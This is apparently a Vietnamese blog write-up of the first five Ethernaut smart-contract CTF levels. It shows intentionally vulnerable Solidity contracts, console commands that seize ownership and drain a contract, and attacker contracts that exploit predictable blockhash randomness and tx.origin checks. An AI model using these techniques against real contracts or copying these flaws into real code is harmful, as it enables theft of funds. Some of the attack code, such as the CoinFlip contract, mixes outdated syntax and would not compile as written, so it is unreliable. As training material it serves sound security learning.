Skip to content

The Ethernaut writeups - Part 1: 0-4

Posted on:April 10, 2018

Những năm gần đây, Blockchain và các ứng dụng của nó nổi lên như một xu thế công nghệ của tương lai. Áp dụng Blockchain, ta có thể giải quyết được rất nhiều vấn đề mà các công nghệ hiện tại không làm được, mà trong đó nổi bật nhất là không còn trung gian giao dịch, không cần tin tưởng vào một bên thứ 3 nào nữa. Điều này khiến cho mọi thứ trở nên đơn giản hơn, tiện lợi hơn, minh bạch hơn, sự tin tưởng cao hơn.

Tuy vậy Blockchain không phải chỉ có toàn ưu điểm, nó vẫn còn là một công nghệ còn rất “mới” và sẽ cần nhiều thời gian nữa để hoàn thiện. Một số nhược điểm cơ bản có thể kể đến như tốc độ confirm giao dịch vẫn còn chậm, chi phí còn cao đối với các giao dịch nhỏ. Một điều nữa là user experience - người dùng phổ thông vẫn chưa sẵn sàng với khái niệm Blockchain, sự tin tưởng vào công nghệ này vẫn còn cần rất nhiều sự minh chứng nữa.

Và một điều được coi như “sống còn” của sự hoàn thiện: đó chính là tính bảo mật. Đối với bất kỳ sản phẩm nào, dù lớn hay nhỏ, chỉ cần một lần xảy ra sự cố bảo mật thôi, cũng có thể dẫn đến sự sụp đổ của cả một hệ thống. Blockchain cũng vậy, nó chưa hoàn hảo, và vẫn còn những lỗi bảo mật tiềm ẩn, cả trong kiến trúc Blockchain lẫn trong những đoạn code của các ứng dụng trên nền tảng này.

Trong bài này, chúng ta sẽ đi qua một số lỗi bảo mật của các smart contract trên nền tảng Ethereum thông qua một CTF games của Zeppelin - một hãng rất nổi tiếng hiện nay trong xây dựng các solutions cho smart contract. CTF này có tên là The Ethernaut - nội dung chủ đạo là hacking smart contract.

Các bạn có thể tham gia chơi tại đây: https://ethernaut.zeppelin.solutions

Một vài recommend:

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

0. Hello Ethernaut

Đây là bài hướng dẫn khởi động, rất là đơn giản thôi, chủ yếu để chúng ta test các hàm họ dựng sẵn rồi. OK lets go!

Solution

await contract.info();
> 'You will find what you need in info1().';
await contract.info1();
> "Try info2(), but with "hello" as a parameter."
await contract.info2('hello');
> 'The property infoNum holds the number of the next info method to call.'
(await contract.infoNum()).toString();
> '42';
await contract.info42();
> 'theMethodName is the name of the next method.'
await contract.theMethodName();
> 'The method name is method7123949.'
await contract.method7123949();
> 'If you know the password, submit it to authenticate().'
await contract.password();
> 'ethernaut0'
contract.authenticate("ethernaut0");

completed

1. Fallback

Mục tiêu:

  1. Chiếm quyền owner
  2. Rút hết tiền khỏi contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Fallback Solution

Note: Một contract mặc định không thể nhận ETH, trừ phi nó được implement hàm receive() hoặc fallback().

await contract.contribute({ value: toWei("0.0001") });
(await contract.getContribution()).toString();
contract.send(toWei("0.0001"));
await contract.owner();
contract.withdraw();
await web3.eth.getBalance(instance);
> '0'

completed

2. Fallout

Mục tiêu: Chiếm quyền owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Fallout Solution

contract.Fal1out();
await contract.owner();

completed

3.Coin Flip

Đây là một bài tung đồng xu, nhiệm vụ của chúng ta là phải đoán trúng mặt sấp hoặc ngửa 10 lần liên tiếp.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Coin Flip Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Attack {
  CoinFlip cf;
  // replace target by your instance address
  address target = 0x6638326b577520c1eb0856745f294582b64ce96d;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    cf = CoinFlip(target);
  }

  function calc() public view returns (bool){
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    return coinFlip == 1 ? true : false;
  }

  function flip() public {
    bool guess = calc();
    cf.flip(guess);
  }
}
(await contract.consecutiveWins()).toString();

completed

4. Telephone

Nhiệm vụ: chiếm quyền owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

Telephone Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Attack {
  Telephone phone;
  // replace target by your instance address
  address target = 0x7828d70649688ad7fb4fa2b34430e92096b6fb47;

  constructor() public {
      phone = Telephone(target);
  }

  function claimOwnership() public {
      phone.changeOwner(msg.sender);
  }
}
await contract.owner();

completed

Conclusion

Trên đây là solution 5 bài đầu tiên trong tổng số tất cả 12 bài trong The Ethernaut CTF game. Nội dung khá đơn giản để bắt đầu phải không nào!

Hẹn gặp lại các bạn trong phần tiếp theo!